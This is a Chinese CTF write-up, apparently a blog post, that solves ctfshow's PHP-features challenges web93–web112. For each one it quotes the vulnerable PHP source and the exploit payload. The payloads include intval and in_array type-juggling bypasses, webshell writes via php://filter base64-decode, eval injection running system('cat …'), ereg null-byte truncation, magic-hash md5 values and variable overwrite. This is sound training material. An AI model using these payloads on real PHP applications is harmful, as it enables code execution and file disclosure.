ctfshow php特性上

8 篇文章 6 订阅

 

目录

web93

web94

web95

web96

web97

web98

​编辑

web99

web100

web101

web102

web103

web104

web105

web106

web107

web108

web109

web110

web111

web112


web93

$num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    } 

使用进制计算:?num=010574

web94

$num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag; 
    }

在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476 ?num=4476.0

web95

$num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    } 

可以通过8进制绕过但是前面必须多加一个字节 ?num=+010574或者?num=%2b010574

web96

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    } 

在linux下面表示当前目录是 ./ 所以我们的payload: u=./flag.php

web97

md5 数组绕过===

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 
//相当于
include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)
}else{
"flag";
} 
if($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';

php引用传递,类似于c语言里的指针地址,可以参考:php函数的传值与传址(引用)详解

三目运算符可以参考:php三元运算符与if的详解

get传入flag=flag,再post传入HTTP_FLAG=flag

web99

<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {   //0x36d=877
array_push($allow, rand(1,$i));//向数组里面插入随机数
}
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
} 
?>

查一下in_array()函数,当第三个参数没有设定时,

我们传入的n是字符串,在php字符串和int比较,字符串会被转换成int,因为是弱类型转换,所以 字符串中数字后面的字符串会被忽略

由于in_array没有设置type,我们可以输入1.php,转换之后也就是1,肯定是in_array的,满足条

 get:?n=1.php post: content=<?= `cat f*`;

之后访问/1.php,查看源码,得到flag

web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    

and 的优先级是比等号要低的

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); 就是把is_numeric($v1)的返回值赋值给$v0,然后和后面的进行逻辑运算,并不会修改$v0的值.

is_numeric() 函数用于检测变量是否为数字或数字字符串。若是则为true,否则为false
$v1为任意数字就好了

然后看看过滤,$v2不能有;但是$v3要有;

eval("$v2('ctfshow')$v3");字符串拼接,然后用eval执行

传入v1=1&v2=var_dump($ctfshow)/*&v3=*/;即可

在flag中有0x2d,直接提交不通过,ascii码值为-,改一下即可。

web101

if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    } 

相比web100多了一堆过滤。var_dump()和print_r()不能用了

此处用到了反射类ReflectionClass

构造:?v1=1&v2=echo new ReflectionClass&v3=;

0x2d转化为-号后flag报错。。。flag一般形式为uuid模式,36位,而我们得到的flag为35位

试了半天最终得出是9.

得到flag:613b65b1-98aa-4109-92da-b530daaac919

web102

$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

call_user_func()函数把第一个参数作为回调函数调用

 file_put_contents() 函数把一个字符串写入文件中。

hex2bin()函数把十六进制值转换为 ASCII 字符

根据源码可知:v2要纯数字,v3不限。同时v2的前两个数字会被删去

真正可以执行操作的应该是v2 ,它应该达到<?=`cat *`;  的作用

要进行编码转化:

base64转化再转化成16进制

PD89YGNhdCAqYDs=5044383959474e6864434171594473   (这里会把e当作科学计数法)

Get: ?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

Post: v1=hex2bin

 之后访问1.php查看源码得到flag。

这里也是第一次遇见filter协议来写文件 filter/write=

也学到了 hex2bin()函数:把十六进制值转换为 ASCII 字符

web103

这道题同web102相比,$str过滤了php

if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    

而我们上次的命令hex2bin()解码之后为 <?= `cat f*`;  不是p h p。因此和上一道题做法一样。

http://c507665c-816d-441f-9e0b-48987fc29c77.challenge.ctf.show/?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php

注意: <?=`cat *`; 分号后面有一个空格,不然base64编码后再hex编码不会变成数字e数字。无法满足isnumeric

web104

#payload
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

web105

$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces); 

变量覆盖 GET: ?suces=flag POST: error=suces 得到flag。

web106

 数组绕过。

web107

parse_str(string,array) 函数把查询字符串解析到变量中。

注释:如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       

?v3=240610708 POST: v1=flag=0

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){  //877
    echo $flag;
}

ereg()函数: 用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配.

构造:?c=a%00778

web109

$v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    } 

运用异常处理类来进行命令执行:PHP异常处理(Exception)

ls 发现了fl36dg.txt  cat即可

?v1=Exception&v2=system('cat fl36dg.txt')

?v1=Reflectionclass&v2=system('cat fl36dg.txt')

web110

使用php原生类 FilesystemIterator类来读取文件

getcwd()函数 获取当前工作目录

?v1=FilesystemIterator&v2=getcwd

得到当前路径下的文件为fl36dga.txt  在url后加/fl36dga.txt访问得到flag。

web111

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }

?v1=ctfshow&v2=GLOBALS

GLOBALS为全局变量。我们要执行getFlag的话,可以把全局变量的值传给v1来输出。

web112

function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 

代码过滤了base64,rot13,data,等相关filter协议的常用编码以及data协议。

我们可以尝试下面的几个情况来绕过:

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值